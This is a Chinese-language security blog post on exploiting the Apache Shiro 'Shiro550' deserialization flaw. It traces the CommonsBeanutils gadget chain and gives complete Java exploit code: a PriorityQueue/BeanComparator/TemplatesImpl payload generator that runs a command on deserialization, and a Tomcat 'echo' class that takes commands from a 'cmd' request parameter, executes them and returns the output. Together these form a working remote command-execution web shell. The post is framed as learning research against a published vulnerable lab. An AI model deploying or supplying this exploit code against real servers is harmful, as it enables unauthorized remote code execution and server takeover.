Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案

0x00 前言

​ 上篇文章:https://www.yuque.com/tianxiadamutou/zcfd4v/bea7gi

​ 上一篇文中利用的是 cc11 作为 Gadget 进行注入,但是 cc 毕竟需要利用额外的依赖 CommonsCollections ,所以最理想的情况就是寻找一条 Shiro 自带的 Gadget ,至此 p 神前几天在知识星球中提出了 CommonsBeanutils 与无 CommonsCollections 的 Shiro 反序列化利用

​ 同时在上篇文章中利用的 Tomcat 通用回显仍然存在一些缺憾,也就是在 Tomcat 7 下由于结构问题导致无法获取到上下文中的 StandardContext ,但是后面在查看 j1anFen 师傅的 shiro_attack 工具的源码时,发现 j1anFen 师傅在工具中利用了一条全新的链,经测试发现在 Tomcat 7 中仍然适用,所以本篇文章来学习一下这条利用链

​ 由于漏洞环境代码贴在文中会很大的文章篇幅,所以后面漏洞环境都会放在 Github 上

​ Shiro漏洞环境:https://github.com/KpLi0rn/ShiroVulnEnv

0x01 CommonsBeanutils

​ CommonsBeanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的getter方法,JavaBean 即指符合特定规范的 Java 类

  • 若干private实例字段
  • 通过public方法来读写实例字段

PropertyUtils.getProperty() 传入两个参数,第一个参数为 JavaBean 实例,第二个是 JavaBean 的属性

下面简单的展示一个例子,首先写一个符合规范的 Calc 类,然后编写一个 Demo 类使其自动调用 Calc 的 getter 方法,如下会自动调用 name 属性的 getter 函数,最终调用 getName()

PropertyUtils.getProperty(new Calc(),"name");

Calc:

import java.io.IOException;

public class Calc {
    private String name = "Hello,World";
    public String getName() throws IOException {
        System.out.println("getter...");
        return this.name;
    }
    public void setName(String name){
        System.out.println("setter...");
        this.name = name;
    }
}

Demo:

import org.apache.commons.beanutils.PropertyUtils;

public class Demo {
    public static void main(String[] args) throws Exception {
        PropertyUtils.getProperty(new Calc(),"name");
    }
}

效果如下:

自动调用了 Calc 的 getter 函数

image-20210429145359781

0x02 CommonsBeanutils#compare

​ CommonsBeanutils 利用链中核心的触发位置就是 compare 函数,当调用 compare 函数时,其内部会调用我们前面说的 getProperty 函数,从而自动调用 JavaBean 中对应属性的 getter 函数,遇到这种情况自然可以联想到 TemplatesImpl 类,其 _outputProperties 属性的 getter 方法是加载恶意字节码的起点,所以我们这里控制下面 o1 为我们的 TemplatesImpl 对象,this.property 为我们的 outputProperties 属性,那么我们就可以通过 CommonsBeanutils#compare 来触发我们的 Templates 链了

image-20210429102953383

接下来我们来看一下 getProperty 函数内部的逻辑

首先控制传入的 o1 为我们的 TemplatesImpl 对象,property 属性我们利用反射将其设置为 outputProperties 即可

image-20210429103522917

跟进 getProperty 函数,发现最后来到 getNestedProperty 函数处

image-20210429103800679

在 getNestedProperty 函数中,首先会经过一些判断,由于我们传入的 TemplatesImpl 对象并不符合这些判断,便会来到最后的 else 处,将 bean 和 name 作为参数传入了 getSimpleProperty 函数,跟进该函数

image-20210429104155839

来到 getSimpleProperty 函数处,同样也是经过一系列判断之后将 bean 和 name 传入 getPropertyDescriptor 函数

image-20210429105337850

来到 getPropertyDescriptor 函数,然后会将 bean 传入 getPropertyDescriptors 函数

image-20210429110717283

在 getPropertyDescriptors 函数中,会获取我们传入实例的类,然后作为参数进入 getPropertyDescriptors 函数

image-20210429111024424

在 getPropertyDescriptors 函数中,首先会从缓存中进行获取,由于我们是第一次,所以缓存中自然是没有

image-20210429154631909

涉及Java内省:https://blog.csdn.net/qq_35029061/article/details/86664795

然后通过通过类Introspector来获取我们传入对象的 BeanInfo 信息,然后通过 BeanInfo 来获取属性描述对象数组 PropertyDescriptor[],拿到属性描述对象数组之后再循环数组,这样我们就能获取到我们想要的属性的对应的 getter 方法了

image-20210429152639105

然后遍历 descriptors ,由于并不是 IndexedPropertyDescriptor 的实例,所以直接进行返回,返回之前会将其放到缓存中

image-20210429154529836

重新回到 getPropertyDescriptor 函数中,将返回值赋给 descriptors

image-20210429154812020

然后遍历数组中的内容,如果发现与我们输入的属性对应的属性描述器,就进行返回

image-20210429155239535
image-20210429155450103

然后从返回的属性描述器中获取对应的 getter 方法,也就是 getOutputProperties 方法,然后利用反射进行调用,从而触发我们的 TemplatesImpl 链

image-20210429113923588
image-20210429155700207

成功弹出计算器

image-20210429114111259

0x03 利用链分析

​ 我们先把 pom.xml 中的 CommonsCollections 依赖进行注释,CommonsBeanutils 1.8.3 是 Shiro 自带的

image-20210428141435397

​ 在前面我们提到通过将 TemplatesImpl 实例传入 CommonsBeanutils#compare 函数中 (this.property 可以利用反射控制),就能触发我们的 TemplatesImpl 链,从而最终弹计算器

​ 所以我们现在只需要寻找一个类似 x.compare(a,b) 的点,其中 x 和 a 可控那么就可以了,看过 cc2 的师傅们应该会非常的熟悉,也就是 PriorityQueue ,该类的 siftDownUsingComparator 存在我们利用点,其中 comparator 和 x 都是可控的

image-20210503102436832

具体分析可以看我先前写的 cc2 分析的文章,其中有详细写,文章链接:https://www.yuque.com/tianxiadamutou/zcfd4v/fw3ag3

大致流程如下:

image-20210503101422000

其中 queue 和 comparator是可控的,comparator 我们直接可以在初始化的时候进行赋值

s.readObject() 的结果赋值给 queue,s是序列化后的,所以我们得去看 writeObject

image-20210503102651721

在 writeObject 中,将 queue 属性进行了序列化,queue 可用反射进行修改

image-20210429162724130

最终 Poc 如下:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

/**
 * 利用链:
 *  PriorityQueue#readObject
 *    PriorityQueue#heapify
 *      PriorityQueue#siftDown
 *        PriorityQueue#siftDownUsingComparator
 *          BeanComparator#compare
 *            TemplatesImpl#getOutputProperties
 *              Runtime....
 */

public class CommonsBeanutils {

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open  /System/Applications/Calculator.app\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Calc" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); 

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setField(templates,"_name","name");
        setField(templates,"_bytecodes",new byte[][]{cc.toBytecode()});
        setField(templates,"_tfactory",new TransformerFactoryImpl());
        setField(templates, "_class", null);

        BeanComparator comparator = new BeanComparator();

        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2,comparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        setField(priorityQueue,"queue",new Object[]{templates,templates});
        setField(comparator,"property","outputProperties");

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CommonsBeanutils.ser"));
        outputStream.writeObject(priorityQueue);
        outputStream.close();

        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CommonsBeanutils.ser"));
        inputStream.readObject();
        inputStream.close();

    }

    public static void setField(Object object,String field,Object args) throws Exception{
        Field f0 = object.getClass().getDeclaredField(field);
        f0.setAccessible(true);
        f0.set(object,args);
    }
}

将生成的序列化文件进行 AES 加密之后进行发送,成功触发计算器

image-20210429163235638

0x04 更通用的 Tomcat 回显方案

在前一篇文章中我们的 request 是从 AbstractProtocol$ConnectoinHandler 中进行获取的,然后在 AbstractProtocol$ConnectoinHandler 是从 Thread.currentThread().getContextClassLoader() 里面一步步获取到的,但是由于 Tomcat 7 的结构不一样导致获取不到

Tomcat 9:

image-20210503110627070

Tomcat 7:

image-20210503110650243

​ 所以由于结构不同导致上一篇介绍的方法在 Tomcat 7 中无法使用

​ 所以现在我们重新来思考一下我们从 Thread.currentThread().getContextClassLoader() 中获取 StandardService 再到获取 Connector目的是什么, 其实目的就是为了获取 AbstractProtocol$ConnectoinHandler ,因为 request 存在该对象的 global 属性中的 processors 中,那么我们其实接下来目的就是为了找到一个地方存储这 AbstractProtocol$ConnectoinHandler

​ 发现在 org.apache.tomcat.util.net.AbstractEndpoint 的 handler 是 AbstractEndpoint$Handler 定义的,同时 Handler 的实现类是 AbstractProtocol$ConnectoinHandler

​ 因为 AbstractEndpoint 是抽象类,且抽象类不能被实例化,需要被子类继承,所以我们去寻找其对应的子类,找到了对应的子类我们就能获取 handler 中的 AbstractProtocol$ConnectoinHandler 从而进一步获取 request 了

image-20210503125028072

下面红框处是 AbstractEndpoint 的子类,那么我们需要寻找一种能被我们获取到的,最好是可以直接从线程中进行获取

image-20210503125830635

这里我们来看到 NioEndpoint 类

详细请看:https://blog.csdn.net/jy02268879/article/details/108863679

这里介绍 NioEndpoint 是主要符合接受和处理 socket 的且其中实现了socket请求监听线程Acceptor、socket NIO poller线程、以及请求处理线程池

image-20210503130531416
image-20210503130749787

所以我们可以通过遍历线程,然后获取到 NioEndpoint$Poller ,然后通过获取其父类 NioEndpoint,进而获取到 handler->global-> processors->request

image-20210503131350781

该方法在 Tomcat 7 中同样适用

这里的测试环境是 Tomcat 7 代码是 p牛 https://github.com/phith0n/JavaThings 中的 shirodemo

image-20210503154056226

利用代码:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Session;
import org.apache.catalina.connector.Response;
import org.apache.coyote.Request;
import org.apache.coyote.RequestInfo;

import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.List;

public class TomcatEcho extends AbstractTranslet {

    static {
        try {
            boolean flag = false;
            Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
            for (int i=0;i<threads.length;i++){
                Thread thread = threads[i];
                if (thread != null){
                    String threadName = thread.getName();
                    if (!threadName.contains("exec") && threadName.contains("http")){
                        Object target = getField(thread,"target");
                        Object global = null;
                        if (target instanceof Runnable){
                            // 需要遍历其中的 this$0/handler/global
                            // 需要进行异常捕获,因为存在找不到的情况
                            try {
                                global = getField(getField(getField(target,"this$0"),"handler"),"global");
                            } catch (NoSuchFieldException fieldException){
                                fieldException.printStackTrace();
                            }
                        }
                        // 如果成功找到了 我们的 global ,我们就从里面获取我们的 processors
                        if (global != null){
                            List processors = (List) getField(global,"processors");
                            for (i=0;i<processors.size();i++){
                                RequestInfo requestInfo = (RequestInfo) processors.get(i);
                                if (requestInfo != null){
                                    Request tempRequest = (Request) getField(requestInfo,"req");
                                    org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
                                    Response response = request.getResponse();

                                    String cmd = null;
                                    if (request.getParameter("cmd") != null){
                                        cmd =  request.getParameter("cmd");
                                    }

                                    if (cmd != null){
                                        System.out.println(cmd);
                                        InputStream inputStream = new ProcessBuilder(cmd).start().getInputStream();
                                        StringBuilder sb = new StringBuilder("");
                                        byte[] bytes = new byte[1024];
                                        int n = 0 ;
                                        while ((n=inputStream.read(bytes)) != -1){
                                            sb.append(new String(bytes,0,n));
                                        }

                                        Writer writer = response.getWriter();
                                        writer.write(sb.toString());
                                        writer.flush();
                                        inputStream.close();
                                        System.out.println("success");
                                        flag = true;
                                        break;
                                    }
                                    if (flag){
                                        break;
                                    }
                                }
                            }
                        }
                    }
                }
                if (flag){
                    break;
                }
            }
        } catch (Exception e){
            e.printStackTrace();
        }

    }


    public static Object getField(Object obj,String fieldName) throws Exception{
        Field f0 = null;
        Class clas = obj.getClass();

        while (clas != Object.class){
            try {
                f0 = clas.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e){
                clas = clas.getSuperclass();
            }
        }

        if (f0 != null){
            f0.setAccessible(true);
            return f0.get(obj);
        }else {
            throw new NoSuchFieldException(fieldName);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

完整利用代码在 https://github.com/KpLi0rn/ShiroVulnEnv 项目的 /src/test/java下

0x05 总结

前前后后踩了好多坑,也从中学习到了很多,今天文中的这条不出意外的话应该是 Tomcat 的版本都可行的,最后感谢 p牛 感谢 j1anFen 感谢各位前辈

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注